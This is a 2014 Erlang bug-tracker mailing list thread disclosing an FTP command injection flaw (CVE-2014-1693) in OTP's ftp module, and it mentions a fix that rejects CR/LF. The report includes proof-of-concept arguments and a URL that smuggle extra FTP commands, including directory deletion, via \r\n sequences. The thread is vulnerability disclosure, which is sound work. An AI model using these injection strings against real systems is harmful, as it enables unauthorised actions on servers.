[erlang-bugs] FTP command injection vulnerability in module "ftp"

Sergei Golovan sgolovan@REDACTED
Sun Feb 9 20:16:43 CET 2014


Hi!

I've created a pull request https://github.com/erlang/otp/pull/233
with changes which return error if <CR> or <LF> are found in filenames
or dirnames or whatever. Hope it'll help with fixing this bug.

On Thu, Jan 30, 2014 at 11:59 AM, Seba <argos83@REDACTED> wrote:
> Thanks!
>
> FYI, this issue has been assigned with the following CVE id (common
> vulnerabilities and exposures) by cve.mitre.org: CVE-2014-1693
>
> -Sebastián.
>
> 2014-01-28 Hans Nilsson <hans@REDACTED>:
>>
>> Hi!
>>
>> Thanks for the report!  I have written a ticket about it.
>>
>> It is however not highly prioritized, because it does not really solve a
>> security hole.  Everything that comes from a client must be regarded as
>> "evil" by the server and sanitized by the server. Many bad users could write
>> a client that misbehaves...
>>
>> But since a client is supposed to send correct data, we will fix this in the
>> future.
>>
>> - Hans Nilsson
>>
>>
>>
>>
>> On 01/27/2014 12:10 PM, Seba wrote:
>>>
>>> Hi!
>>>
>>> There is an FTP Command Injection vulnerability in the "ftp" module.
>>>
>>> All those functions that write any string argument in the control
>>> socket seem to be vulnerable:
>>>
>>>
>>> user/3
>>> user/4
>>> account/2
>>> cd/2
>>> ls/2
>>> nlist/2
>>> rename/3
>>> delete/2
>>> mkdir/2
>>> rmdir/2
>>> recv/2
>>> recv/3
>>> recv_bin/2,
>>> recv_chunk_start/2
>>> send/3
>>> send_bin/3
>>> send_chunk_start/2
>>> append_chunk_start/2
>>> append/2
>>> append/3
>>> append_bin/3
>>>
>>>
>>> Vulnerability Description
>>> -------------------------
>>>
>>> An FTP communication consists of two channels:
>>>   * A TCP control channel: Text-based, and served by the FTP Server.
>>>   * A TCP data channel: Which is created either by the FTP Client or
>>> the FTP Server depending on data being transmitted using active or
>>> passive mode.
>>> The control channel works in a request-response fashion. Each command
>>> is issued by the client in a single line (ending with a carriage
>>> return and a new line: \r\n).
>>>
>>> By injecting a \r\n sequence followed by a new command in a function
>>> argument you get the ftp module to write the whole string in the
>>> socket.
>>>
>>> E.g. the following erlang shell session:
>>>
>>> 1> inets:start().
>>> ok
>>> 2> {ok, Pid} = inets:start(ftpc, [{host, "127.0.0.1"}]).
>>> {ok,<0.46.0>}
>>> 3> ftp:user(Pid, "anonymous", "password\r\nCWD pub\r\nMKD new_dir").
>>> ok
>>> 4> ftp:cd(Pid, "/pub\r\nRMD new_dir\r\nPASV").
>>> ok
>>>
>>>
>>> Generates the following FTP session:
>>>
>>> FTP command: Client "127.0.0.1", "USER anonymous"
>>> FTP response: Client "127.0.0.1", "331 Please specify the password."
>>> FTP command: Client "127.0.0.1", "PASS <password>"
>>> FTP response: Client "127.0.0.1", "230 Login successful."
>>> FTP command: Client "127.0.0.1", "CWD pub"
>>> FTP response: Client "127.0.0.1", "250 Directory successfully changed."
>>> FTP command: Client "127.0.0.1", "MKD new_dir"
>>> FTP response: Client "127.0.0.1", "257 "/pub/new_dir" created"
>>> FTP command: Client "127.0.0.1", "CWD /pub"
>>> FTP response: Client "127.0.0.1", "250 Directory successfully changed."
>>> FTP command: Client "127.0.0.1", "RMD new_dir"
>>> FTP response: Client "127.0.0.1", "250 Remove directory operation
>>> successful."
>>> FTP command: Client "127.0.0.1", "PASV"
>>> FTP response: Client "127.0.0.1", "227 Entering Passive Mode
>>> (127,0,0,1,130,161)."
>>>
>>>
>>> Attack Scenario Example
>>> -----------------------
>>>
>>> A web server allow users to navigate and download documents.
>>> Internally the web server connects to a private ftp server using OTP
>>> "ftp" module.
>>> An attacker might take advantage of the vulnerability to execute
>>> actions that aren't supposed to be exposed. E.g. delete a directory by
>>> requesting:
>>>
>>> http://www.example.com/list_dir.yaws?dir=/docs/%0d%0aRMD+/docs
>>>
>>> Tested on
>>> ---------
>>>   - R15B03
>>>   - Ubuntu 12.04 x86_64
>>>   - FTP Sever: vsftpd
>>>
>>> Fixing
>>> ------
>>>
>>> String arguments used to create the command request should be
>>> sanitized first (by removing "\r" and "\n").
>>>
>>>
>>>
>>> Sebastián Tello
>>> _______________________________________________
>>> erlang-bugs mailing list
>>> erlang-bugs@REDACTED
>>> http://erlang.org/mailman/listinfo/erlang-bugs
>>
>>
> _______________________________________________
> erlang-bugs mailing list
> erlang-bugs@REDACTED
> http://erlang.org/mailman/listinfo/erlang-bugs



-- 
Sergei Golovan



More information about the erlang-bugs mailing list